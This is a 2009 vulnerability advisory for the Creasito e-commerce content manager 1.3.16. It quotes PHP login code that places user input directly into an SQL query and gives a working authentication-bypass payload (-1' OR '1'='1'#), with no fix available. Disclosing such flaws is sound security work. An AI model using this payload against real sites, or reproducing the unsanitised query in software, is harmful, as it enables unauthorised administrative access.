Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Multiple Remote Vulnerabilities-- SQLi-(INSECURE- COOKIE-HANDLING)- LFI-->

WysGui CMS 1.2 BETA(Insecure Cookie Handling)--Blind- sql-injection- exploit-->

Sungard Banner System XSS

Multi-lingual E-Commerce System 0.2 Multiple Remote Vulnerabilities

From:	Salvatore "drosophila" Fresta <drosophilaxxx_(at)_gmail.com>
Date:	20.04.2009
Subject:	Creasito e-commerce content manager Authentication Bypass

*******   Salvatore "drosophila" Fresta   *******

[+] Application: creasito e-commerce content manager
[+] Version: 1.3.16
[+] Website: http://creasito.bloghosteria.com

[+] Bugs: [A] Authentication Bypass

[+] Exploitation: Remote
[+] Date: 20 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs

This cms is entirely vulnerable to SQL Injection.
I decided to post authentication bypass security
flaw only.

- [A] Authentication Bypass

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: admin/checkuser.php, checkuser.php

SQL Injection bug allows a guest to bypass the
authentication system. The following is the
vulnerable code:

...

$username = $_POST['username'];

...

$sql = mysql_query("SELECT * FROM amministratore WHERE
username='$username' AND password='$password' AND activated='1'");

...


*************************************************

[+] Code


- [A] Authentication Bypass

Username: -1' OR '1'='1'#
Password: foo


*************************************************

[+] Fix

No fix.


*************************************************

--
Salvatore "drosophila" Fresta
CWNP444351